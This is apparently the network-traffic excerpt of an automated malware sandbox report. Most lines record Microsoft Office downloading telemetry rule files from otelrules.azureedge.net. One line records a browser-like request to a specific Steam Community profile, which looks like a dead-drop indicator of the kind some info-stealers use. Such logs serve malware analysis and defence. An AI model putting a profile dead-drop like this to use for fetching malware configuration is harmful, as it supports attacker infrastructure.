Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
